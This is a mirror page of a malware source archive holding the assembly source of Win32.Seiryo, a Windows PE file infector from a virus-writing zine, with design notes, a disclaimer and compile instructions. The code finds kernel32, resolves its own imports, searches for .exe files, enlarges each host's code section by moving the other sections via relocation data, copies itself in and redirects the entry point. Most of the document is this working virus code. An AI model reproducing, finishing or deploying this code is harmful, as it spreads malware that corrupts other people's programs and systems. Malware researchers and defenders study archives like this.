mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
977 lines
35 KiB
NASM
977 lines
35 KiB
NASM
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
|
|
-=( ---------------------------------------------------------------------- )=-
|
|
|
|
-=( 0 : Win32.Seiryo Features -------------------------------------------- )=-
|
|
|
|
Imports: Locates the Kernel, does it's own imports
|
|
Infects: PE files containing .reloc section by expanding the host's CODE
|
|
section and putting itself in it (and not setting the write
|
|
bit)
|
|
Locates: Files in current directory
|
|
Compatibility: All tested windows versions
|
|
Saves Stamps: Yes
|
|
MultiThreaded: No
|
|
Polymorphism: None
|
|
AntiAV / EPO: None
|
|
SEH Abilities: None
|
|
Payload: None
|
|
|
|
-=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-
|
|
|
|
The purpose of this virus was to test a relatively new method of allocating
|
|
space for a virus. Traditionally, the virus is simply appended to the end of
|
|
the file as either a separate section or tacked onto the last section. This
|
|
has the problem that usually the entry point to the file is now not the code
|
|
section, and inevitably program execution leaves the code section.
|
|
|
|
This idea was derived from Zombie's Zmist - that is to use the .reloc section.
|
|
This virus looks for a file with a reloc section, memory maps it, and proceeds
|
|
to expand the code section to fit the virus. It then copies itself into this
|
|
space. All the other sections are moved back to make space for the virus, the
|
|
code section is updated to reflect these changes (thanks to reloc telling you
|
|
where the data is), and then the entire PE header must be updated. So, how
|
|
well does this method work?
|
|
|
|
Here's a breakdown of what must be done and it's complexity:
|
|
|
|
: Calculating the move amounts/new addresses is straight forward.
|
|
: Using .reloc to update the .text is surprisingly easy
|
|
|
|
But:
|
|
|
|
: Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with the
|
|
documentation on the more obscure parts of it being hard to come by. The main
|
|
stuff that NEEDS to be fixed is:
|
|
: PE Header (SizeOfImage, etc)
|
|
: Data Directory
|
|
: Section Table
|
|
: Import Tables (HNA, and first thunk too)
|
|
: .reloc section
|
|
: Resource Section (else icons disappear - may as well write a
|
|
prepending virus if you don't)
|
|
: Export Section (and all that goes with that)
|
|
: Debug Entries (optional - just zero it)
|
|
: There are about 5-8 more thing, but they are never used and
|
|
good documentation on them is scarce
|
|
|
|
So, how well does it work? It works ok.
|
|
|
|
Well, coding it is lots of work, and the debugging highly unpleasant.
|
|
Reconstructed files are surprisingly stable providing that the code is
|
|
correctly debugged. It could well become the preferred method of infection in
|
|
terms of stealth. The lengthy code, potential bugs, and complexity could be a
|
|
deterrence for use in an average virus.
|
|
|
|
-=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-
|
|
|
|
This is a test virus, so the it's spreading ability is minimal.
|
|
|
|
The major drawback to this infection method is that not all files have .reloc
|
|
sections. In fact, only about half of non-system files, maybe less have one.
|
|
Thus this method should probably have a backup method of space allocation.
|
|
|
|
-=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-
|
|
|
|
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
|
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
|
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
|
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
|
|
|
COPYRIGHT
|
|
Copyright on materials in this magazine and the information therein and
|
|
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
|
|
|
RIGHTS AND LIMITATIONS
|
|
You have the right to use, copy and distribute the material in this
|
|
magazine free of charge, for all purposes allowed by your governing
|
|
laws. You are expressly PROHIBITED from using the material contained
|
|
herein for any purposes that would cause or would help promote
|
|
the illegal use of the material.
|
|
|
|
NO WARRANTY
|
|
The information contained within this magazine are provided "as is".
|
|
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
|
or completeness of given information, and expressly disclaims
|
|
liability for errors or omissions contained therein. No implied,
|
|
express, or statutory warranty, is given in conjunction with this magazine.
|
|
|
|
LIMITATION OF LIABILITY
|
|
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
|
damages including and without limitation, direct or indirect, special,
|
|
incidental, or consequential damages, losses, or expenses arising in
|
|
connection with this magazine, or the use thereof.
|
|
|
|
ADDITIONAL DISCLAIMER
|
|
Computer viruses will spread of their own accord between computer systems, and
|
|
across international boundaries. They are raw animals with no concern for the
|
|
law, and for that reason your possession of them makes YOU responsible for the
|
|
actions they carry out.
|
|
|
|
The viruses provided in this magazine are for educational purposes ONLY. They
|
|
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
|
conditions. If compiled and executed these viruses WILL land you in court(s).
|
|
|
|
You will be held responsible for your actions. As source code these viruses
|
|
are inert and covered by implied freedom of speech laws in some
|
|
countries. In binary form these viruses are malicious weapons. FEATHERED
|
|
SERPENTS do not condone the application of these viruses and will NOT be held
|
|
LIABLE for any MISUSE.
|
|
|
|
-=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-
|
|
|
|
TASM32 5.0 & TLINK32 1.6.71.0
|
|
|
|
tasm32 /m /ml Seiryo.asm
|
|
tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib
|
|
|
|
-=( 5 : Win32.Seiryo ----------------------------------------------------- ) `
|
|
|
|
%out Assembling file implies acceptance of disclaimer inside source code
|
|
|
|
.386
|
|
.model flat, stdcall
|
|
warn ; Warnings on
|
|
|
|
VIRSIZE equ VirEnd - VirStart
|
|
|
|
extrn ExitProcess:PROC
|
|
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
|
|
OPEN_EXISTING equ 3
|
|
FILE_SHARE_WRITE equ 0002h
|
|
FILE_BEGIN equ 0
|
|
FILE_MAP_WRITE equ 2
|
|
GENERIC_READ equ 80000000h
|
|
GENERIC_WRITE equ 40000000h
|
|
PAGE_READWRITE equ 00000004h
|
|
|
|
WIN32_FIND_DATA struct
|
|
fd_dwFileAttributes dd 0
|
|
fd_ftCreationTime dd 0, 0
|
|
fd_ftLastAccessTime dd 0, 0
|
|
fd_ftLastWriteTime dd 0, 0
|
|
fd_nFileSizeHigh dd 0
|
|
fd_nFileSizeLow dd 0
|
|
fd_dwReserved0 dd 0
|
|
fd_dwReserved1 dd 0
|
|
fd_cFileName db 260 dup(0)
|
|
fd_cAlternateFileName db 14 dup(0)
|
|
WIN32_FIND_DATA ends
|
|
|
|
PEHEADER struct
|
|
ID dd ?
|
|
Machine dw ?
|
|
NumberOfSections dw ?
|
|
TimeDateStamp dd ?
|
|
PointerToSymbolTable dd ?
|
|
NumberOfSymbols dd ?
|
|
SizeOfOptionalHeader dw ?
|
|
Characteristics dw ?
|
|
; Optional Header:
|
|
MagicNumber dw ?
|
|
MajorLinkerVersion db ?
|
|
MinorLinkerVersion db ?
|
|
SizeOfCode dd ?
|
|
SizeOfInitializedData dd ?
|
|
SizeOfUninitializedData dd ?
|
|
AddressOfEntryPoint dd ?
|
|
BaseOfCode dd ?
|
|
BaseOfData dd ?
|
|
ImageBase dd ?
|
|
SectionAlignment dd ?
|
|
FileAlignment dd ?
|
|
MajorOperatingSystemVersion dw ?
|
|
MinorOperatingSystemVersion dw ?
|
|
MajorImageVersion dw ?
|
|
MinorImageVersion dw ?
|
|
MajorSubsystemVersion dw ?
|
|
MinorSubsystemVersion dw ?
|
|
Reserved1 dd ?
|
|
SizeOfImage dd ?
|
|
SizeOfHeaders dd ?
|
|
CheckSum dd ?
|
|
Subsystem dw ?
|
|
DllCharacteristics dw ?
|
|
SizeOfStackReserve dd ?
|
|
SizeOfStackCommit dd ?
|
|
SizeOfHeapReserve dd ?
|
|
SizeOfHeapCommit dd ?
|
|
LoaderFlags dd ?
|
|
NumberOfRvaAndSizes dd ?
|
|
DataDirectory dd 20 dup (?)
|
|
PEHEADER ends
|
|
|
|
; -**************************-
|
|
; Section Table Entry format
|
|
; -**************************-
|
|
|
|
SECTION struct
|
|
sec_Name db 8 dup (?)
|
|
sec_VirtualSize dd ?
|
|
sec_VirtualAddress dd ?
|
|
sec_SizeOfRawData dd ?
|
|
sec_PointerToRawData dd ?
|
|
sec_PointerToRelocations dd ?
|
|
sec_PointerToLinenumbers dd ?
|
|
sec_NumberOfRelocations dw ?
|
|
sec_NumberOfLineNumbers dw ?
|
|
sec_Characteristics dd ?
|
|
SECTION ends
|
|
; Section Characteristics flags
|
|
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
SEC_CODE equ 00000020h
|
|
SEC_INITIALIZED_DATA equ 00000040h
|
|
SEC_UNINITIALIZED_DATA equ 00000080h
|
|
SEC_NO_CACHE equ 04000000h
|
|
SEC_NOT_PAGEABLE equ 08000000h
|
|
SEC_SHARED equ 10000000h
|
|
SEC_EXECUTABLE equ 20000000h
|
|
SEC_READ equ 40000000h
|
|
SEC_WRITE equ 80000000h
|
|
|
|
; -*******************-
|
|
; Import Table format
|
|
; -*******************-
|
|
|
|
IMPORTTABLE struct
|
|
imp_Characteristics dd ?
|
|
imp_DateTimeStamp dd ?
|
|
imp_ForwarderChain dd ?
|
|
imp_Name dd ?
|
|
imp_FirstThunk dd ?
|
|
IMPORTTABLE ends
|
|
|
|
; -*******************-
|
|
; Export Table format
|
|
; -*******************-
|
|
|
|
EXPORTHEADER struct
|
|
exp_Characteristics dd ?
|
|
exp_DateTimeStamp dd ?
|
|
exp_MajorVersion dw ?
|
|
exp_MinorVersion dw ?
|
|
exp_Name dd ?
|
|
exp_Base dd ?
|
|
exp_NumberOfFunctions dd ?
|
|
exp_NumberOfNames dd ?
|
|
exp_AddressOfFunctions dd ?
|
|
exp_AddressOfNames dd ?
|
|
exp_AddressOfNameOrdinals dd ?
|
|
EXPORTHEADER ends
|
|
|
|
; -******************-
|
|
; Resource Dir Table
|
|
; -******************-
|
|
|
|
RESOURCETABLE struct
|
|
res_Characteristics dd ?
|
|
res_DateTimeStamp dd ?
|
|
res_MajorVersion dw ?
|
|
res_MinorVersion dw ?
|
|
res_NumNameEntry dw ?
|
|
res_NumIDEntry dw ?
|
|
RESOURCETABLE ends
|
|
RESOURCEENTRY struct
|
|
resent_ID dd ?
|
|
resent_Next dd ?
|
|
RESOURCEENTRY ends
|
|
|
|
; -****************-
|
|
; Thread Dir Table
|
|
; -****************-
|
|
|
|
THREADTABLE struct
|
|
thread_StartDataVA dd ?
|
|
thread_EndDataVA dd ?
|
|
thread_IndexVA dd ?
|
|
thread_CallbackTableVA dd ?
|
|
THREADTABLE ends
|
|
|
|
|
|
|
|
.DATA
|
|
dummy db 0
|
|
|
|
|
|
|
|
; *******
|
|
; Local Variables
|
|
; *******
|
|
AlignPhys equ -3
|
|
AlignVirtual equ -4
|
|
VirusRVA equ AlignVirtual-4
|
|
VirusVA equ VirusRVA-4
|
|
MoveAmount equ VirusVA-4
|
|
PhysMove equ MoveAmount-4
|
|
_FindFirstFileA equ PhysMove-4
|
|
_CreateFileA equ _FindFirstFileA-4
|
|
_CreateFileMappingA equ _CreateFileA-4
|
|
_MapViewOfFile equ _CreateFileMappingA-4
|
|
_UnmapViewOfFile equ _MapViewOfFile-4
|
|
_SetFilePointer equ _UnmapViewOfFile-4
|
|
_SetEndOfFile equ _SetFilePointer-4
|
|
_SetFileTime equ _SetEndOfFile-4
|
|
_CloseHandle equ _SetFileTime-4
|
|
_FindNextFileA equ _CloseHandle-4
|
|
Imports equ _FindNextFileA ; Label (no -4)
|
|
FileFind equ Imports-size WIN32_FIND_DATA
|
|
FileFindHnd equ FileFind-4
|
|
SizeOfLocals equ -FileFindHnd
|
|
|
|
.CODE
|
|
VirStart:
|
|
start:
|
|
push ebp ; Setup locals on stack
|
|
mov ebp, esp
|
|
sub esp, SizeOfLocals
|
|
|
|
mov edi, [ebp+4]
|
|
and edi, 0FFFFf000h
|
|
mov ecx, 128
|
|
FindKernelLoop:
|
|
cmp word ptr [edi], 'ZM'
|
|
je short GotKernel
|
|
sub edi, 1000h
|
|
loop FindKernelLoop
|
|
GotoExitInfector:
|
|
jmp ExitInfector
|
|
GotKernel:
|
|
movzx edx, word ptr [edi+3Ch]
|
|
add edx, edi
|
|
cmp dword ptr [edx], 'EP'
|
|
jne short GotoExitInfector
|
|
|
|
mov edx, [edx].DataDirectory ; Get Kernel Exports
|
|
add edx, edi
|
|
xor ecx, ecx
|
|
mov esi, [edx].exp_AddressOfNames
|
|
add esi, edi
|
|
FindGetProc:
|
|
inc ecx
|
|
cmp ecx, [edx].exp_NumberOfNames
|
|
jg short GotoExitInfector
|
|
lodsd
|
|
add eax, edi
|
|
cmp [eax], 'PteG'
|
|
jne short FindGetProc
|
|
cmp [eax+4], 'Acor'
|
|
jne short FindGetProc
|
|
cmp [eax+8], 'erdd'
|
|
jne short FindGetProc
|
|
|
|
mov ebx, [edx].exp_AddressOfNameOrdinals
|
|
add ebx, edi
|
|
movzx ecx, word ptr [ebx+2*ecx]
|
|
sub ecx, [edx].exp_Base
|
|
mov ebx, [edx].exp_AddressOfFunctions
|
|
add ebx, edi
|
|
mov edx, [ebx+4*ecx]
|
|
add edx, edi
|
|
|
|
call PushImportsAddress
|
|
db 14,'FindNextFileA',0
|
|
db 12,'CloseHandle',0
|
|
db 12,'SetFileTime',0
|
|
db 13,'SetEndOfFile',0
|
|
db 15,'SetFilePointer',0
|
|
db 16,'UnmapViewOfFile',0
|
|
db 14,'MapViewOfFile',0
|
|
db 19,'CreateFileMappingA',0
|
|
db 12,'CreateFileA',0
|
|
db 15,'FindFirstFileA',0
|
|
db 0
|
|
PushImportsAddress:
|
|
pop esi
|
|
xor ecx, ecx
|
|
mov ebx, edi
|
|
lea edi, [ebp+Imports]
|
|
ImportLoop:
|
|
mov cl, [esi]
|
|
inc esi
|
|
jecxz DoneImports
|
|
push edx
|
|
push ecx
|
|
call edx, ebx, esi
|
|
or eax, eax
|
|
jz ExitInfector
|
|
pop ecx
|
|
pop edx
|
|
stosd
|
|
add esi, ecx
|
|
jmp short ImportLoop
|
|
DoneImports:
|
|
|
|
lea eax, [ebp+FileFind] ; Find an Exe file
|
|
push eax
|
|
call PushFileMask
|
|
db '*.exe',0
|
|
PushFileMask:
|
|
call [ebp+_FindFirstFileA]
|
|
mov [ebp+FileFindHnd], eax
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je ExitInfector
|
|
|
|
|
|
InfectNextFile:
|
|
lea eax, [ebp+FileFind].fd_cFileName ; Get FileName
|
|
cmp byte ptr [eax], 0 ; use short if no long
|
|
jne short UseLongFileName
|
|
lea eax, [ebp+FileFind].fd_cAlternateFileName
|
|
UseLongFileName:
|
|
|
|
call [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
|
|
cmp eax, INVALID_HANDLE_VALUE ; Map the file
|
|
je FindTheNextFile
|
|
push eax ; Push FileHandle for close
|
|
mov ebx, [ebp+FileFind].fd_nFileSizeLow
|
|
add ebx, VIRSIZE+10000
|
|
call [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
|
|
or eax, eax
|
|
je CloseAndExitInfector
|
|
push eax
|
|
xchg eax, esi
|
|
call [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
|
|
push eax ; Push Memory Addy for close
|
|
mov esi, eax
|
|
|
|
cmp word ptr [eax], 'ZM' ; Check if exe is ok to infect
|
|
jne InfectableNo
|
|
cmp word ptr [eax+18h], 40h
|
|
jb InfectableNo
|
|
movzx ecx, word ptr [eax+3Ch]
|
|
add eax, ecx
|
|
cmp dword ptr [eax], 'EP'
|
|
jne InfectableNo
|
|
cmp [eax].NumberOfRvaAndSizes, 10
|
|
jb InfectableNo
|
|
cmp [eax].MinorLinkerVersion, 7 ; Infection Marker
|
|
je InfectableNo
|
|
|
|
movzx edx, [eax].SizeOfOptionalHeader
|
|
lea edx, [eax+edx+18h] ; Start of Section table
|
|
|
|
; Check For code section being first
|
|
test [edx].sec_Characteristics, SEC_CODE
|
|
jz InfectableNo
|
|
|
|
mov byte ptr [ebp+AlignVirtual],1 ; See if Virt aligned
|
|
mov ebx, [edx].sec_VirtualSize
|
|
mov ecx, [eax].SectionAlignment
|
|
dec ecx
|
|
test ebx, ecx
|
|
jz short VirtuallyAligned
|
|
dec byte ptr [ebp+AlignVirtual]
|
|
VirtuallyAligned:
|
|
|
|
mov byte ptr [ebp+AlignPhys],1 ; See if Phys aligned
|
|
mov edi, [edx].sec_SizeOfRawData
|
|
mov ecx, [eax].FileAlignment
|
|
dec ecx
|
|
test edi, ecx
|
|
jz short PhysicallyAligned
|
|
dec byte ptr [ebp+AlignPhys]
|
|
PhysicallyAligned:
|
|
cmp ebx, edi ; Which is smaller?
|
|
jbe short UseVirtualSize ; (i.e. actual size)
|
|
mov ebx, edi
|
|
UseVirtualSize:
|
|
|
|
mov edi, ebx ; Find Physical move amount
|
|
add edi, [edx].sec_PointerToRawData
|
|
lea edi, [edi+ecx+VIRSIZE]
|
|
not ecx
|
|
and edi, ecx
|
|
mov [ebp+PhysMove], edi
|
|
|
|
add ebx, [edx].sec_VirtualAddress ; Find VA & RVA of virus
|
|
mov [ebp+VirusRVA], ebx
|
|
mov edi, ebx
|
|
add ebx, [eax].ImageBase
|
|
mov [ebp+VirusVA], ebx
|
|
|
|
movzx ecx, [eax].NumberOfSections ; Code Section First?
|
|
mov ebx, [edx].sec_VirtualAddress
|
|
push edx
|
|
push ecx
|
|
CheckForFirstSection:
|
|
cmp ebx, [edx].sec_VirtualAddress
|
|
ja InfectableNo
|
|
add edx, size SECTION
|
|
loop CheckForFirstSection
|
|
pop ecx
|
|
pop edx
|
|
|
|
dec ecx ; Section 2 is Next?
|
|
jz short DoneCheckNextSec
|
|
mov ebx, [edx + size SECTION].sec_PointerToRawData
|
|
sub [ebp+PhysMove], ebx
|
|
mov ebx, [edx + size SECTION].sec_VirtualAddress
|
|
cmp ebx, [eax].AddressOfEntryPoint ; Entry Point in code sec?
|
|
jbe InfectableNo
|
|
CheckNextSec:
|
|
add edx, size SECTION
|
|
cmp ebx, [edx].sec_VirtualAddress
|
|
ja InfectableNo
|
|
loop CheckNextSec
|
|
|
|
|
|
DoneCheckNextSec:
|
|
add edi, VIRSIZE ; Calculate Virtual Move amount
|
|
mov ecx, [eax].SectionAlignment
|
|
dec ecx
|
|
add edi, ecx
|
|
not ecx
|
|
and edi, ecx
|
|
sub edi, ebx
|
|
jae short PositiveMoveAmount
|
|
xor edi, edi
|
|
PositiveMoveAmount:
|
|
mov [ebp+MoveAmount], edi
|
|
|
|
|
|
; ************
|
|
; Goto relocation section
|
|
|
|
mov eax, [eax].DataDirectory+40 ; Reloc Offset
|
|
or eax, eax
|
|
jz InfectableNo
|
|
call RVA2Addr
|
|
mov edi, eax
|
|
|
|
; EDI = start of relocation info (struct: repeat of following).
|
|
; RELOC INFO is:
|
|
; RVA dd ?
|
|
; Size dd ? - includes the 8 bytes for this and above field.
|
|
; - should always be 32bit aligned.
|
|
; entries dw (Size-8)/2 dup (?)
|
|
; Rellocs end when next RVA is 0
|
|
; Each entry's top 4 bits are the type of relocation. The rest of the 12 bits
|
|
; are an offset from the RVA of the position.
|
|
; (i.e. address = RVA + (entry & 0x0FFF) )
|
|
; Currently handles only relocations of types 0 (nop) and 3 (normal)
|
|
|
|
MoveRelocLoop:
|
|
mov eax, [edi]
|
|
or eax, eax ; If RVA=0 then done
|
|
je short DoneReloc
|
|
cmp eax, [ebp+VirusRVA] ; reloc it if < VirusRVA
|
|
jb short MoveRelocSkip
|
|
mov ecx, [ebp+MoveAmount]
|
|
add [edi], ecx
|
|
MoveRelocSkip:
|
|
mov ecx, [edi+4]
|
|
sub ecx, 8
|
|
shr ecx, 1 ; ecx = number of entries
|
|
add edi, 8
|
|
call RVA2Addr
|
|
mov edx, eax
|
|
|
|
InnerRelocLoop:
|
|
jecxz MoveRelocLoop ; Done block if ecx=0 - do next
|
|
dec ecx
|
|
movzx eax, word ptr [edi]
|
|
inc edi
|
|
inc edi
|
|
mov ebx,eax
|
|
shr ebx, 12 ; ebx = top 4 bits of entry
|
|
jz short InnerRelocLoop ; if 0, then it's padding
|
|
cmp ebx, 3
|
|
jne InfectableNo
|
|
and ah,0Fh ; remove type
|
|
mov ebx, [eax+edx] ; reloc if necessary
|
|
cmp ebx, [ebp+VirusVA]
|
|
jb short InnerRelocLoop
|
|
mov ebx, [ebp+MoveAmount]
|
|
add dword ptr [eax+edx], ebx
|
|
jmp short InnerRelocLoop
|
|
|
|
;RelocError:
|
|
; int 3
|
|
; int 3
|
|
DoneReloc:
|
|
|
|
; ************
|
|
; Move physically
|
|
; ************
|
|
|
|
movzx edx, word ptr [esi+3Ch] ; From the new virus position
|
|
add edx, esi ; move everything to EOF back
|
|
mov eax,[ebp+VirusRVA] ; by PhysMove
|
|
mov [ebp+VirusRVA], eax ; To do this, start at EOF
|
|
dec eax ; and go backwards to start
|
|
call RVA2Addr ; (hence std/rep movsb)
|
|
inc eax
|
|
mov ecx, esi
|
|
add ecx, [ebp+FileFind].fd_nFileSizeLow
|
|
sub ecx, eax
|
|
xchg eax, ebx
|
|
push esi
|
|
lea esi, [ebx+ecx-1]
|
|
mov eax, [ebp+PhysMove]
|
|
add [ebp+FileFind].fd_nFileSizeLow, eax
|
|
lea edi, [esi+eax]
|
|
std
|
|
rep movsb
|
|
cld
|
|
mov ecx, VIRSIZE ; Copy code into it
|
|
mov edi, ebx
|
|
call GetVirStart
|
|
GetVirStart:
|
|
pop esi
|
|
sub esi, GetVirStart-VirStart
|
|
rep movsb
|
|
pop esi
|
|
|
|
|
|
; ***********************
|
|
; Fix RVAs and other
|
|
; ***********************
|
|
|
|
|
|
; PE Header Fix
|
|
; Entry Point - should be fine for now
|
|
; ImageSize
|
|
mov eax, [ebp+MoveAmount]
|
|
add [edx].SizeOfImage, eax
|
|
; SizeOfCode
|
|
add [edx].SizeOfCode, eax
|
|
; BaseOfData
|
|
add [edx].BaseOfData, eax
|
|
; DataDirectory:
|
|
mov ecx, [edx].NumberOfRvaAndSizes
|
|
lea edi, [edx].DataDirectory
|
|
DataDirLoop:
|
|
mov eax, [edi]
|
|
or eax, eax
|
|
jz short DataDirSkip
|
|
cmp eax, [ebp+VirusRVA]
|
|
jb short DataDirSkip
|
|
add eax, [ebp+MoveAmount]
|
|
mov [edi], eax
|
|
DataDirSkip:
|
|
add edi,8
|
|
loop DataDirLoop
|
|
|
|
; Fix Section Table (edi conviniently points to it now)
|
|
mov eax, [ebp+VirusRVA]
|
|
sub eax, [edi].sec_VirtualAddress
|
|
add eax, VIRSIZE
|
|
cmp byte ptr [ebp+AlignVirtual],1
|
|
jne short NoVirtAlign
|
|
mov ecx, [edx].SectionAlignment
|
|
dec ecx
|
|
add eax, ecx
|
|
not ecx
|
|
and eax, ecx
|
|
NoVirtAlign:
|
|
mov [edi].sec_VirtualSize, eax
|
|
mov eax, [edi].sec_SizeOfRawData
|
|
add eax, [ebp+PhysMove]
|
|
mov [edi].sec_SizeOfRawData, eax
|
|
|
|
movzx ecx, [edx].NumberOfSections
|
|
mov ebx, [ebp+PhysMove]
|
|
SectionTableFixUp:
|
|
mov eax, [edi].sec_VirtualAddress
|
|
cmp eax, [ebp+VirusRVA]
|
|
jb short NextSecFixUp
|
|
add eax, [ebp+MoveAmount]
|
|
mov [edi].sec_VirtualAddress, eax
|
|
add [edi].sec_PointerToRawData,ebx
|
|
NextSecFixUp:
|
|
add edi, size SECTION
|
|
loop SectionTableFixUp
|
|
|
|
; Fix Up Relocation Section - done above (during reloc)
|
|
|
|
; Fix up Imports
|
|
movzx eax, word ptr [esi+3Ch]
|
|
add eax, esi
|
|
mov eax, [eax].DataDirectory+8
|
|
call RVA2Addr
|
|
xchg eax, edi
|
|
mov ebx, [ebp+MoveAmount]
|
|
FixNextImport:
|
|
mov eax, [edi].imp_Name
|
|
or eax, eax
|
|
je short DoneImportFix
|
|
cmp eax, [ebp+VirusRVA]
|
|
jb short SkipImpNameFix
|
|
add [edi].imp_Name, ebx
|
|
SkipImpNameFix:
|
|
mov eax, [edi].imp_Characteristics
|
|
or eax, eax
|
|
jz short FixFirstThunk
|
|
cmp eax, [ebp+VirusRVA]
|
|
jb short SkipImpCharFix
|
|
add eax, ebx
|
|
mov [edi].imp_Characteristics, eax
|
|
SkipImpCharFix:
|
|
; Fix Characteristic field now
|
|
call RVA2Addr
|
|
ImpCharLoop:
|
|
mov ecx, [eax]
|
|
or ecx, ecx
|
|
jz short ImpCharLoopDone
|
|
js short ImpCharLoopNoFix
|
|
cmp ecx, [ebp+VirusRVA]
|
|
jb short ImpCharLoopNoFix
|
|
add [eax], ebx
|
|
ImpCharLoopNoFix:
|
|
add eax, 4
|
|
jmp short ImpCharLoop
|
|
ImpCharLoopDone:
|
|
|
|
FixFirstThunk:
|
|
mov eax, [edi].imp_FirstThunk
|
|
cmp eax, [ebp+VirusRVA]
|
|
jb short DoneSectionFix
|
|
add eax, ebx
|
|
mov [edi].imp_FirstThunk, eax
|
|
DoneSectionFix:
|
|
call RVA2Addr
|
|
ImpThunkLoop:
|
|
mov ecx, [eax]
|
|
or ecx, ecx
|
|
jz short ImpThunkLoopDone
|
|
js short ImpThunkNoFix
|
|
cmp ecx, [ebp+VirusRVA]
|
|
jb short ImpThunkNoFix
|
|
add dword ptr [eax], ebx
|
|
ImpThunkNoFix:
|
|
add eax, 4
|
|
jmp short ImpThunkLoop
|
|
ImpThunkLoopDone:
|
|
add edi, size IMPORTTABLE
|
|
jmp short FixNextImport
|
|
DoneImportFix:
|
|
|
|
|
|
; Fix up Resource (2)
|
|
mov eax, [edx].DataDirectory+(2*8)
|
|
or eax, eax
|
|
jz short FixUpNoResources
|
|
call RVA2Addr
|
|
push edx
|
|
mov edx, eax
|
|
xchg eax, edi
|
|
mov ebx, [ebp+MoveAmount]
|
|
call FixupResource
|
|
pop edx
|
|
FixUpNoResources:
|
|
|
|
;FixUpExports:
|
|
mov eax, [edx].DataDirectory
|
|
or eax, eax
|
|
jz short FixUpNoExports
|
|
call RVA2Addr
|
|
push edx
|
|
mov edx, [ebp+VirusRVA]
|
|
xchg eax, edi
|
|
add [edi].exp_Name, ebx ; Fix dll name
|
|
add [edi].exp_AddressOfFunctions, ebx ; Fix RVA to address Array
|
|
mov eax, [edi].exp_AddressOfFunctions
|
|
call RVA2Addr
|
|
mov ecx, [edi].exp_NumberOfFunctions
|
|
ExpFixFuncRVAsLoop: ; Not handling ecx=0, who cares
|
|
cmp [eax], edx
|
|
jb short ExpFixFuncSkipRVA
|
|
add [eax], ebx
|
|
ExpFixFuncSkipRVA:
|
|
add eax, 4
|
|
loop ExpFixFuncRVAsLoop
|
|
add [edi].exp_AddressOfNames, ebx
|
|
mov eax, [edi].exp_AddressOfNames
|
|
call RVA2Addr
|
|
mov ecx, [edi].exp_NumberOfNames
|
|
ExpFixNameRVAsLoop:
|
|
cmp [eax], edx
|
|
jb short ExpFixNameSkipRVA
|
|
add [eax], ebx
|
|
ExpFixNameSkipRVA:
|
|
add eax, 4
|
|
loop ExpFixNameRVAsLoop
|
|
add [edi].exp_AddressOfNameOrdinals, ebx
|
|
pop edx
|
|
FixUpNoExports:
|
|
|
|
xor eax, eax
|
|
mov [edx].DataDirectory+(6*8), eax ; Kill debug info
|
|
mov [edx].DataDirectory+(6*8+4), eax ; Kill debug info
|
|
|
|
; Fix Thread Storage
|
|
; - All are VAs - thus they seem to be fixed by fixing the reloc entries.
|
|
; (at least in my test files)
|
|
;
|
|
; mov eax, [edx].DataDirectory+(9*8)
|
|
; or eax, eax
|
|
; jz short NoThreadStorage
|
|
; call RVA2Addr
|
|
; xchg eax, edi
|
|
;
|
|
; mov eax, [edi].thread_StartDataVA
|
|
; cmp eax, [ebp+VirusVA]
|
|
; jb short ThreadNoFixStart
|
|
; add [edi].thread_StartDataVA, ebx
|
|
;ThreadNoFixStart:
|
|
; mov eax, [edi].thread_EndDataVA
|
|
; cmp eax, [ebp+VirusVA]
|
|
; jb short ThreadNoFixEnd
|
|
; add [edi].thread_StartDataVA, ebx
|
|
;ThreadNoFixEnd:
|
|
; mov eax, [edi].thread_IndexVA
|
|
; cmp eax, [ebp+VirusVA]
|
|
; jb short ThreadNoFixIndex
|
|
; add [edi].thread_IndexVA, ebx
|
|
;ThreadNoFixIndex:
|
|
; mov eax, [edi].thread_CallbackTableVA
|
|
; cmp eax, [ebp+VirusVA]
|
|
; jb short ThreadNoFixCallback
|
|
; add [edi].thread_CallbackTableVA, ebx
|
|
;ThreadNoFixCallback:
|
|
; sub eax, [edx].ImageBase
|
|
; call RVA2Addr
|
|
|
|
NoThreadStorage:
|
|
|
|
; Fiddle with entry point
|
|
mov [edx].MinorLinkerVersion, 7
|
|
mov ecx, [edx].AddressOfEntryPoint
|
|
mov eax, [ebp+VirusRVA]
|
|
mov [edx].AddressOfEntryPoint, eax ; Set new entry point
|
|
add eax, offset HostFileEntryPoint - offset VirStart
|
|
sub ecx, 4
|
|
sub ecx, eax
|
|
call RVA2Addr
|
|
mov [eax], ecx ; Fix Jump to host in mem map
|
|
|
|
|
|
; Checklist:
|
|
; ---------
|
|
; Fix up Exports (0) done
|
|
; Fix up Imports (1) done
|
|
; Fix up Resource (2) done
|
|
; Fix up Exception (3)
|
|
; Fix up Security (4)
|
|
; Fix up Reloc (5) done
|
|
; Fix up Debug (6) zeroed
|
|
; Fix up Description/Architecture (7) done?
|
|
; Fix up Machine Value (8)
|
|
; Fix up ThreadStorage (9) done by reloc fixup?
|
|
; Fix up LoadConfiuration (10)
|
|
; Fix up Bound Import (11)
|
|
